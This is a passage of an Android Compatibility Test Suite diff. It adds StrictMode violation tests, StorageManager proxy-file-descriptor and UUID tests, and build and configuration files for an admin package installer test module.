+        final Uri uri = Uri.parse("content://com.example/foobar");
+        assertViolation(uri + " exposed beyond app", () -> {
+            Intent intent = new Intent(Intent.ACTION_VIEW);
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            intent.setDataAndType(uri, "image/jpeg");
+            getContext().startActivity(intent);
+        });
+
+        assertNoViolation(() -> {
+            Intent intent = new Intent(Intent.ACTION_VIEW);
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            intent.setDataAndType(uri, "image/jpeg");
+            intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
+            getContext().startActivity(intent);
+        });
+    }
+
+    public void testUntaggedSocketsHttp() throws Exception {
+        if (!hasInternetConnection()) {
+            Log.i(TAG, "testUntaggedSockets() ignored on device without Internet");
+            return;
+        }
+
+        StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder()
+                .detectUntaggedSockets()
+                .penaltyLog()
+                .build());
+
+        assertViolation("Untagged socket detected", () -> {
+            ((HttpURLConnection) new URL("http://example.com/").openConnection())
+                    .getResponseCode();
+        });
+
+        assertNoViolation(() -> {
+            TrafficStats.setThreadStatsTag(0xDECAFBAD);
+            try {
+                ((HttpURLConnection) new URL("http://example.com/").openConnection())
+                        .getResponseCode();
+            } finally {
+                TrafficStats.clearThreadStatsTag();
+            }
+        });
+    }
+
+    public void testUntaggedSocketsRaw() throws Exception {
+        if (!hasInternetConnection()) {
+            Log.i(TAG, "testUntaggedSockets() ignored on device without Internet");
+            return;
+        }
+
+        StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder()
+                .detectUntaggedSockets()
+                .penaltyLog()
+                .build());
+
+        assertNoViolation(() -> {
+            TrafficStats.setThreadStatsTag(0xDECAFBAD);
+            try (Socket socket = new Socket("example.com", 80)) {
+                socket.getOutputStream().close();
+            } finally {
+                TrafficStats.clearThreadStatsTag();
+            }
+        });
+
+        assertViolation("Untagged socket detected", () -> {
+            try (Socket socket = new Socket("example.com", 80)) {
+                socket.getOutputStream().close();
+            }
+        });
+    }
+
+    public void testRead() throws Exception {
+        final File test = File.createTempFile("foo", "bar");
+        final File dir = test.getParentFile();
+
+        final FileInputStream is = new FileInputStream(test);
+        final FileDescriptor fd = Os.open(test.getAbsolutePath(), OsConstants.O_RDONLY, 0600);
+
+        StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
+                .detectDiskReads()
+                .penaltyLog()
+                .build());
+
+        assertViolation("StrictModeDiskReadViolation", () -> {
+            test.exists();
+        });
+        assertViolation("StrictModeDiskReadViolation", () -> {
+            test.length();
+        });
+        assertViolation("StrictModeDiskReadViolation", () -> {
+            dir.list();
+        });
+        assertViolation("StrictModeDiskReadViolation", () -> {
+            new FileInputStream(test);
+        });
+        assertViolation("StrictModeDiskReadViolation", () -> {
+            is.read();
+        });
+        assertViolation("StrictModeDiskReadViolation", () -> {
+            Os.open(test.getAbsolutePath(), OsConstants.O_RDONLY, 0600);
+        });
+        assertViolation("StrictModeDiskReadViolation", () -> {
+            Os.read(fd, new byte[10], 0, 1);
+        });
+    }
+
+    public void testWrite() throws Exception {
+        File file = File.createTempFile("foo", "bar");
+
+        final FileOutputStream os = new FileOutputStream(file);
+        final FileDescriptor fd = Os.open(file.getAbsolutePath(), OsConstants.O_RDWR, 0600);
+
+        StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
+                .detectDiskWrites()
+                .penaltyLog()
+                .build());
+
+        assertViolation("StrictModeDiskWriteViolation", () -> {
+            File.createTempFile("foo", "bar");
+        });
+        assertViolation("StrictModeDiskWriteViolation", () -> {
+            file.delete();
+        });
+        assertViolation("StrictModeDiskWriteViolation", () -> {
+            file.createNewFile();
+        });
+        assertViolation("StrictModeDiskWriteViolation", () -> {
+            new FileOutputStream(file);
+        });
+        assertViolation("StrictModeDiskWriteViolation", () -> {
+            os.write(32);
+        });
+        assertViolation("StrictModeDiskWriteViolation", () -> {
+            Os.open(file.getAbsolutePath(), OsConstants.O_RDWR, 0600);
+        });
+        assertViolation("StrictModeDiskWriteViolation", () -> {
+            Os.write(fd, new byte[10], 0, 1);
+        });
+        assertViolation("StrictModeDiskWriteViolation", () -> {
+            Os.fsync(fd);
+        });
+        assertViolation("StrictModeDiskWriteViolation", () -> {
+            file.renameTo(new File(file.getParent(), "foobar"));
+        });
+    }
+
+    public void testNetwork() throws Exception {
+        if (!hasInternetConnection()) {
+            Log.i(TAG, "testUntaggedSockets() ignored on device without Internet");
+            return;
+        }
+
+        StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
+                .detectNetwork()
+                .penaltyLog()
+                .build());
+
+        assertViolation("StrictModeNetworkViolation", () -> {
+            try (Socket socket = new Socket("example.com", 80)) {
+                socket.getOutputStream().close();
+            }
+        });
+
+        assertViolation("StrictModeNetworkViolation", () -> {
+            ((HttpURLConnection) new URL("http://example.com/").openConnection())
+                    .getResponseCode();
+        });
+    }
+
+    private static void assertViolation(String expected, ThrowingRunnable r) throws Exception {
+        final LinkedBlockingQueue<String> violations = new LinkedBlockingQueue<>();
+        StrictMode.setViolationListener(new ViolationListener() {
+            @Override
+            public void onViolation(String message) {
+                violations.add(message);
+            }
+        });
+
+        try {
+            r.run();
+            while (true) {
+                final String violation = violations.poll(5, TimeUnit.SECONDS);
+                if (violation == null) {
+                    fail("Expected violation not found: " + expected);
+                } else if (violation.contains(expected)) {
+                    return;
+                }
+            }
+        } finally {
+            StrictMode.setViolationListener(null);
+        }
+    }
+
+    private static void assertNoViolation(ThrowingRunnable r) throws Exception {
+        final LinkedBlockingQueue<String> violations = new LinkedBlockingQueue<>();
+        StrictMode.setViolationListener(new ViolationListener() {
+            @Override
+            public void onViolation(String message) {
+                violations.add(message);
+            }
+        });
+
+        try {
+            r.run();
+            while (true) {
+                final String violation = violations.poll(5, TimeUnit.SECONDS);
+                if (violation == null) {
+                    return;
+                } else {
+                    fail("Unexpected violation found: " + violation);
+                }
+            }
+        } finally {
+            StrictMode.setViolationListener(null);
+        }
     }
 
     private boolean hasInternetConnection() {
diff --git a/tests/tests/os/src/android/os/cts/TaggedPointerTest.java b/tests/tests/os/src/android/os/cts/TaggedPointerTest.java
index 4c619de..c4cee84 100644
--- a/tests/tests/os/src/android/os/cts/TaggedPointerTest.java
+++ b/tests/tests/os/src/android/os/cts/TaggedPointerTest.java
@@ -16,11 +16,9 @@
 
 package android.os.cts;
 
-
 import android.test.AndroidTestCase;
-
-import android.os.cts.CpuFeatures;
 import android.os.cts.TaggedPointer;
+import com.android.compatibility.common.util.CpuFeatures;
 
 public class TaggedPointerTest extends AndroidTestCase {
 
diff --git a/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java b/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
index f9a58ad..a820ac0 100644
--- a/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
+++ b/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
@@ -22,26 +22,41 @@
 import android.content.res.Resources;
 import android.content.res.Resources.NotFoundException;
 import android.os.Environment;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.ProxyFileDescriptorCallback;
 import android.os.Parcel;
-import android.cts.util.FileUtils;
+import android.os.ParcelFileDescriptor;
 import android.os.storage.OnObbStateChangeListener;
 import android.os.storage.StorageManager;
 import android.os.storage.StorageVolume;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.OsConstants;
 import android.test.AndroidTestCase;
 import android.test.ComparisonFailure;
 import android.util.Log;
 
+import com.android.compatibility.common.util.FileUtils;
+
 import libcore.io.Streams;
 
 import java.io.File;
 import java.io.FileInputStream;
+import java.io.FileNotFoundException;
 import java.io.InputStream;
+import java.io.InterruptedIOException;
+import java.io.SyncFailedException;
 import java.io.IOException;
 import java.lang.reflect.Field;
 import java.lang.reflect.Modifier;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
+import java.util.UUID;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.SynchronousQueue;
+import junit.framework.AssertionFailedError;
 
 public class StorageManagerTest extends AndroidTestCase {
 
@@ -242,6 +257,366 @@
         assertStorageVolumesEquals(primary, childVolume);
     }
 
+    private void assertNoUuid(File file) {
+        try {
+            final UUID uuid = mStorageManager.getUuidForPath(file);
+            fail("Unexpected UUID " + uuid + " for " + file);
+        } catch (IOException expected) {
+        }
+    }
+
+    public void testGetUuidForPath() throws Exception {
+        assertEquals(StorageManager.UUID_DEFAULT,
+                mStorageManager.getUuidForPath(Environment.getDataDirectory()));
+        assertEquals(StorageManager.UUID_DEFAULT,
+                mStorageManager.getUuidForPath(mContext.getDataDir()));
+
+        final UUID extUuid = mStorageManager
+                .getUuidForPath(Environment.getExternalStorageDirectory());
+        if (Environment.isExternalStorageEmulated()) {
+            assertEquals(StorageManager.UUID_DEFAULT, extUuid);
+        }
+
+        assertEquals(extUuid, mStorageManager.getUuidForPath(mContext.getExternalCacheDir()));
+        assertEquals(extUuid, mStorageManager.getUuidForPath(new File("/sdcard/")));
+
+        assertNoUuid(new File("/"));
+        assertNoUuid(new File("/proc/"));
+    }
+
+    private static class TestProxyFileDescriptorCallback extends ProxyFileDescriptorCallback {
+        final byte[] bytes;
+        int fsyncCount;
+        int releaseCount;
+        ErrnoException onGetSizeError = null;
+        ErrnoException onReadError = null;
+        ErrnoException onWriteError = null;
+        ErrnoException onFsyncError = null;
+
+        TestProxyFileDescriptorCallback(int size, String seed) {
+            final byte[] seedBytes = seed.getBytes();
+            bytes = new byte[size];
+            for (int i = 0; i < size; i++) {
+                bytes[i] = seedBytes[i % seedBytes.length];
+            }
+        }
+
+        @Override
+        public int onWrite(long offset, int size, byte[] data) throws ErrnoException {
+            if (onWriteError != null) {
+                throw onWriteError;
+            }
+            for (int i = 0; i < size; i++) {
+                bytes[(int)(i + offset)] = data[i];
+            }
+            return size;
+        }
+
+        @Override
+        public int onRead(long offset, int size, byte[] data) throws ErrnoException {
+            if (onReadError != null) {
+                throw onReadError;
+            }
+            final int len = (int)(Math.min(size, data.length - offset));
+            for (int i = 0; i < len; i++) {
+                data[i] = bytes[(int)(i + offset)];
+            }
+            return len;
+        }
+
+        @Override
+        public long onGetSize() throws ErrnoException {
+            if (onGetSizeError != null) {
+                throw onGetSizeError;
+            }
+            return bytes.length;
+        }
+
+        @Override
+        public void onFsync() throws ErrnoException {
+            if (onFsyncError != null) {
+                throw onFsyncError;
+            }
+            fsyncCount++;
+        }
+
+        @Override
+        public void onRelease() {
+            releaseCount++;
+        }
+    }
+
+    public void testOpenProxyFileDescriptor() throws Exception {
+        final TestProxyFileDescriptorCallback appleCallback =
+                new TestProxyFileDescriptorCallback(1024 * 1024, "Apple");
+        final TestProxyFileDescriptorCallback orangeCallback =
+                new TestProxyFileDescriptorCallback(1024 * 128, "Orange");
+        final TestProxyFileDescriptorCallback cherryCallback =
+                new TestProxyFileDescriptorCallback(1024 * 1024, "Cherry");
+        try (final ParcelFileDescriptor appleFd = mStorageManager.openProxyFileDescriptor(
+                     ParcelFileDescriptor.MODE_READ_ONLY, appleCallback);
+             final ParcelFileDescriptor orangeFd = mStorageManager.openProxyFileDescriptor(
+                     ParcelFileDescriptor.MODE_WRITE_ONLY, orangeCallback);
+             final ParcelFileDescriptor cherryFd = mStorageManager.openProxyFileDescriptor(
+                     ParcelFileDescriptor.MODE_READ_WRITE, cherryCallback)) {
+            // Stat
+            assertEquals(appleCallback.onGetSize(), appleFd.getStatSize());
+            assertEquals(orangeCallback.onGetSize(), orangeFd.getStatSize());
+            assertEquals(cherryCallback.onGetSize(), cherryFd.getStatSize());
+
+            final byte[] bytes = new byte[100];
+
+            // Read
+            for (int i = 0; i < 2; i++) {
+                Os.read(appleFd.getFileDescriptor(), bytes, 0, 100);
+                for (int j = 0; j < 100; j++) {
+                    assertEquals(appleCallback.bytes[i * 100 + j], bytes[j]);
+                }
+            }
+            try {
+                Os.read(orangeFd.getFileDescriptor(), bytes, 0, 100);
+                fail();
+            } catch (ErrnoException exp) {
+                assertEquals(OsConstants.EBADF, exp.errno);
+            }
+            for (int i = 0; i < 2; i++) {
+                Os.read(cherryFd.getFileDescriptor(), bytes, 0, 100);
+                for (int j = 0; j < 100; j++) {
+                    assertEquals(cherryCallback.bytes[i * 100 + j], bytes[j]);
+                }
+            }
+
+            // Pread
+            Os.pread(appleFd.getFileDescriptor(), bytes, 0, 100, 500);
+            for (int j = 0; j < 100; j++) {
+                assertEquals(appleCallback.bytes[500 + j], bytes[j]);
+            }
+            try {
+                Os.pread(orangeFd.getFileDescriptor(), bytes, 0, 100, 500);
+                fail();
+            } catch (ErrnoException exp) {
+                assertEquals(OsConstants.EBADF, exp.errno);
+            }
+            Os.pread(cherryFd.getFileDescriptor(), bytes, 0, 100, 500);
+            for (int j = 0; j < 100; j++) {
+                assertEquals(cherryCallback.bytes[500 + j], bytes[j]);
+            }
+
+            // Write
+            final byte[] writeSeed = "Strawberry".getBytes();
+            for (int i = 0; i < bytes.length; i++) {
+                bytes[i] = writeSeed[i % writeSeed.length];
+            }
+            try {
+                Os.write(appleFd.getFileDescriptor(), bytes, 0, 100);
+                fail();
+            } catch (ErrnoException exp) {
+                assertEquals(OsConstants.EBADF, exp.errno);
+            }
+            for (int i = 0; i < 2; i++) {
+                Os.write(orangeFd.getFileDescriptor(), bytes, 0, 100);
+                for (int j = 0; j < 100; j++) {
+                    assertEquals(bytes[j], orangeCallback.bytes[i * 100 + j]);
+                }
+            }
+            Os.lseek(cherryFd.getFileDescriptor(), 0, OsConstants.SEEK_SET);
+            for (int i = 0; i < 2; i++) {
+                Os.write(cherryFd.getFileDescriptor(), bytes, 0, 100);
+                for (int j = 0; j < 100; j++) {
+                    assertEquals(bytes[j], cherryCallback.bytes[i * 100 + j]);
+                }
+            }
+
+            // Pwrite
+            try {
+                Os.pwrite(appleFd.getFileDescriptor(), bytes, 0, 100, 500);
+                fail();
+            } catch (ErrnoException exp) {
+                assertEquals(OsConstants.EBADF, exp.errno);
+            }
+            Os.pwrite(orangeFd.getFileDescriptor(), bytes, 0, 100, 500);
+            for (int j = 0; j < 100; j++) {
+                assertEquals(bytes[j], orangeCallback.bytes[500 + j]);
+            }
+            Os.pwrite(cherryFd.getFileDescriptor(), bytes, 0, 100, 500);
+            for (int j = 0; j < 100; j++) {
+                assertEquals(bytes[j], cherryCallback.bytes[500 + j]);
+            }
+
+            // Flush
+            assertEquals(0, appleCallback.fsyncCount);
+            assertEquals(0, orangeCallback.fsyncCount);
+            assertEquals(0, cherryCallback.fsyncCount);
+            appleFd.getFileDescriptor().sync();
+            orangeFd.getFileDescriptor().sync();
+            cherryFd.getFileDescriptor().sync();
+            assertEquals(1, appleCallback.fsyncCount);
+            assertEquals(1, orangeCallback.fsyncCount);
+            assertEquals(1, cherryCallback.fsyncCount);
+
+            // Before release
+            assertEquals(0, appleCallback.releaseCount);
+            assertEquals(0, orangeCallback.releaseCount);
+            assertEquals(0, cherryCallback.releaseCount);
+        }
+
+        // Release
+        int retry = 3;
+        while (true) {
+            try {
+                assertEquals(1, appleCallback.releaseCount);
+                assertEquals(1, orangeCallback.releaseCount);
+                assertEquals(1, cherryCallback.releaseCount);
+                break;
+            } catch (AssertionFailedError error) {
+                if (retry-- > 0) {
+                   Thread.sleep(500);
+                   continue;
+                } else {
+                    throw error;
+                }
+            }
+        }
+    }
+
+    public void testOpenProxyFileDescriptor_error() throws Exception {
+        final TestProxyFileDescriptorCallback callback =
+                new TestProxyFileDescriptorCallback(1024 * 1024, "Error");
+        final byte[] bytes = new byte[128];
+        callback.onGetSizeError = new ErrnoException("onGetSize", OsConstants.ENOENT);
+        try {
+            try (final ParcelFileDescriptor fd = mStorageManager.openProxyFileDescriptor(
+                    ParcelFileDescriptor.MODE_READ_WRITE, callback)) {}
+            fail();
+        } catch (IOException exp) {}
+        callback.onGetSizeError = null;
+
+        try (final ParcelFileDescriptor fd = mStorageManager.openProxyFileDescriptor(
+                ParcelFileDescriptor.MODE_READ_WRITE, callback)) {
+            callback.onReadError = new ErrnoException("onRead", OsConstants.EIO);
+            try {
+                Os.read(fd.getFileDescriptor(), bytes, 0, bytes.length);
+                fail();
+            } catch (ErrnoException error) {}
+
+            callback.onReadError = new ErrnoException("onRead", OsConstants.ENOSYS);
+            try {
+                Os.read(fd.getFileDescriptor(), bytes, 0, bytes.length);
+                fail();
+            } catch (ErrnoException error) {}
+
+            callback.onReadError = null;
+            Os.read(fd.getFileDescriptor(), bytes, 0, bytes.length);
+
+            callback.onWriteError = new ErrnoException("onWrite", OsConstants.EIO);
+            try {
+                Os.write(fd.getFileDescriptor(), bytes, 0, bytes.length);
+                fail();
+            } catch (ErrnoException error) {}
+
+            callback.onWriteError = new ErrnoException("onWrite", OsConstants.ENOSYS);
+            try {
+                Os.write(fd.getFileDescriptor(), bytes, 0, bytes.length);
+                fail();
+            } catch (ErrnoException error) {}
+
+            callback.onWriteError = null;
+            Os.write(fd.getFileDescriptor(), bytes, 0, bytes.length);
+
+            callback.onFsyncError = new ErrnoException("onFsync", OsConstants.EIO);
+            try {
+                fd.getFileDescriptor().sync();
+                fail();
+            } catch (SyncFailedException error) {}
+
+            callback.onFsyncError = new ErrnoException("onFsync", OsConstants.ENOSYS);
+            try {
+                fd.getFileDescriptor().sync();
+                fail();
+            } catch (SyncFailedException error) {}
+
+            callback.onFsyncError = null;
+            fd.getFileDescriptor().sync();
+        }
+    }
+
+    public void testOpenProxyFileDescriptor_async() throws Exception {
+        final CountDownLatch blockReadLatch = new CountDownLatch(1);
+        final CountDownLatch readBlockedLatch = new CountDownLatch(1);
+        final CountDownLatch releaseLatch = new CountDownLatch(2);
+        final TestProxyFileDescriptorCallback blockCallback =
+                new TestProxyFileDescriptorCallback(1024 * 1024, "Block") {
+            @Override
+            public int onRead(long offset, int size, byte[] data) throws ErrnoException {
+                try {
+                    readBlockedLatch.countDown();
+                    blockReadLatch.await();
+                } catch (InterruptedException e) {
+                    fail(e.getMessage());
+                }
+                return super.onRead(offset, size, data);
+            }
+
+            @Override
+            public void onRelease() {
+                releaseLatch.countDown();
+            }
+        };
+        final TestProxyFileDescriptorCallback asyncCallback =
+                new TestProxyFileDescriptorCallback(1024 * 1024, "Async") {
+            @Override
+            public void onRelease() {
+                releaseLatch.countDown();
+            }
+        };
+        final SynchronousQueue<Handler> handlerChannel = new SynchronousQueue<>();
+        final Thread looperThread = new Thread(() -> {
+            Looper.prepare();
+            try {
+                handlerChannel.put(new Handler());
+            } catch (InterruptedException e) {
+                fail(e.getMessage());
+            }
+            Looper.loop();
+        });
+        looperThread.start();
+
+        final Handler handler = handlerChannel.take();
+
+        try (final ParcelFileDescriptor blockFd =
+                    mStorageManager.openProxyFileDescriptor(
+                            ParcelFileDescriptor.MODE_READ_ONLY, blockCallback);
+             final ParcelFileDescriptor asyncFd =
+                    mStorageManager.openProxyFileDescriptor(
+                            ParcelFileDescriptor.MODE_READ_ONLY, asyncCallback, handler)) {
+            final Thread readingThread = new Thread(() -> {
+                final byte[] bytes = new byte[128];
+                try {
+
+                    Os.read(blockFd.getFileDescriptor(), bytes, 0, 128);
+                } catch (ErrnoException | InterruptedIOException e) {
+                    fail(e.getMessage());
+                }
+            });
+            readingThread.start();
+
+            readBlockedLatch.countDown();
+            assertEquals(Thread.State.RUNNABLE, readingThread.getState());
+
+            final byte[] bytes = new byte[128];
+            Log.d("StorageManagerTest", "start read async");
+            assertEquals(128, Os.read(asyncFd.getFileDescriptor(), bytes, 0, 128));
+            Log.d("StorageManagerTest", "stop read async");
+
+            blockReadLatch.countDown();
+            readingThread.join();
+        }
+
+        releaseLatch.await();
+        handler.getLooper().quit();
+        looperThread.join();
+    }
+
     private void assertStorageVolumesEquals(StorageVolume volume, StorageVolume clone)
             throws Exception {
         // Asserts equals() method.
diff --git a/tests/tests/packageinstaller/Android.mk b/tests/tests/packageinstaller/Android.mk
new file mode 100644
index 0000000..b798d87
--- /dev/null
+++ b/tests/tests/packageinstaller/Android.mk
@@ -0,0 +1,15 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+include $(call all-subdir-makefiles)
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/Android.mk b/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
new file mode 100755
index 0000000..a77f0c9
--- /dev/null
+++ b/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_PACKAGE_NAME := CtsAdminPackageInstallerTestCases
+
+LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/res
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := ub-uiautomator android-support-test android-support-v4
+
+LOCAL_SDK_VERSION := test_current
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/AndroidManifest.xml b/tests/tests/packageinstaller/adminpackageinstaller/AndroidManifest.xml
new file mode 100755
index 0000000..bb8ca13
--- /dev/null
+++ b/tests/tests/packageinstaller/adminpackageinstaller/AndroidManifest.xml
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.packageinstaller.admin.cts" >
+
+    <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />
+
+    <application android:label="Cts Admin Package Installer Test" android:testOnly="true">
+        <uses-library android:name="android.test.runner"/>
+
+        <receiver
+            android:name=".BasicAdminReceiver"
+            android:permission="android.permission.BIND_DEVICE_ADMIN">
+            <meta-data android:name="android.app.device_admin"
+                       android:resource="@xml/device_admin" />
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+            </intent-filter>
+        </receiver>
+
+        <activity android:name=".LauncherActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.HOME" />
+            </intent-filter>
+        </activity>
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:functionalTest="true"
+                     android:targetPackage="android.packageinstaller.admin.cts"
+                     android:label="External App Sources Tests"/>
+</manifest>
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml b/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
new file mode 100644
index 0000000..3f09b25
--- /dev/null
+++ b/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<configuration description="Config for CTS Admin Package Installer test cases">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="mkdir -p /data/local/tmp/cts/packageinstaller/" />
+        <option name="teardown-command" value="rm -rf /data/local/tmp/cts"/>
+    </target_preparer>
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="CtsEmptyTestApp.apk->/data/local/tmp/cts/packageinstaller/CtsEmptyTestApp.apk" />
+    </target_preparer>
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="install-arg" value="-t" />
+        <option name="test-file-name" value="CtsAdminPackageInstallerTestCases.apk" />
+    </target_preparer>
+
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="dpm set-device-owner --user current 'android.packageinstaller.admin.cts/.BasicAdminReceiver'" />
+        <option name="teardown-command" value="dpm remove-active-admin --user current 'android.packageinstaller.admin.cts/.BasicAdminReceiver'"/>
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.packageinstaller.admin.cts" />
+    </test>
+
+</configuration>
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/res/xml/device_admin.xml b/tests/tests/packageinstaller/adminpackageinstaller/res/xml/device_admin.xml
new file mode 100644
index 0000000..de4a9e1
--- /dev/null
+++ b/tests/tests/packageinstaller/adminpackageinstaller/res/xml/device_admin.xml
@@ -0,0 +1,3 @@
+<device-admin xmlns:android="http://schemas.android.com/apk/res/android" android:visible="false">
+    <uses-policies />
+</device-admin>
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasePackageInstallTest.java b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasePackageInstallTest.java
new file mode 100644
index 0000000..28ec019
--- /dev/null
+++ b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasePackageInstallTest.java
@@ -0,0 +1,235 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.packageinstaller.admin.cts;
+
+import android.app.PendingIntent;
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.IntentSender;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageManager;
+import android.os.ParcelFileDescriptor;
+import android.os.Process;
+import android.support.test.uiautomator.UiDevice;
+import android.test.InstrumentationTestCase;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
+import java.util.ArrayList;
+
+/**
+ * Base test case for testing PackageInstaller.
+ */
+public class BasePackageInstallTest extends InstrumentationTestCase {
+    protected static final String TEST_APP_LOCATION =
+            "/data/local/tmp/cts/packageinstaller/CtsEmptyTestApp.apk";
+    protected static final String TEST_APP_PKG = "android.packageinstaller.emptytestapp.cts";
+    protected static final int PACKAGE_INSTALLER_TIMEOUT_MS = 60000; // 60 seconds
+    private static final String ACTION_INSTALL_COMMIT =
+            "com.android.cts.deviceowner.INTENT_PACKAGE_INSTALL_COMMIT";
+    protected static final int PACKAGE_INSTALLER_STATUS_UNDEFINED = -1000;
+    public static final String PACKAGE_NAME = SilentPackageInstallTest.class.getPackage().getName();
+
+    protected Context mContext;
+    protected UiDevice mDevice;
+    protected DevicePolicyManager mDevicePolicyManager;
+    protected PackageManager mPackageManager;
+    private PackageInstaller mPackageInstaller;
+    private PackageInstaller.Session mSession;
+    protected boolean mCallbackReceived;
+    protected int mCallbackStatus;
+    protected Intent mCallbackIntent;
+
+    protected boolean mHasFeature;
+
+    protected final Object mPackageInstallerTimeoutLock = new Object();
+
+    private final BroadcastReceiver mBroadcastReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            synchronized (mPackageInstallerTimeoutLock) {
+                mCallbackStatus = intent.getIntExtra(PackageInstaller.EXTRA_STATUS,
+                        PACKAGE_INSTALLER_STATUS_UNDEFINED);
+                if (mCallbackStatus == PackageInstaller.STATUS_SUCCESS) {
+                    mContext.unregisterReceiver(this);
+                    assertEquals(TEST_APP_PKG, intent.getStringExtra(
+                            PackageInstaller.EXTRA_PACKAGE_NAME));
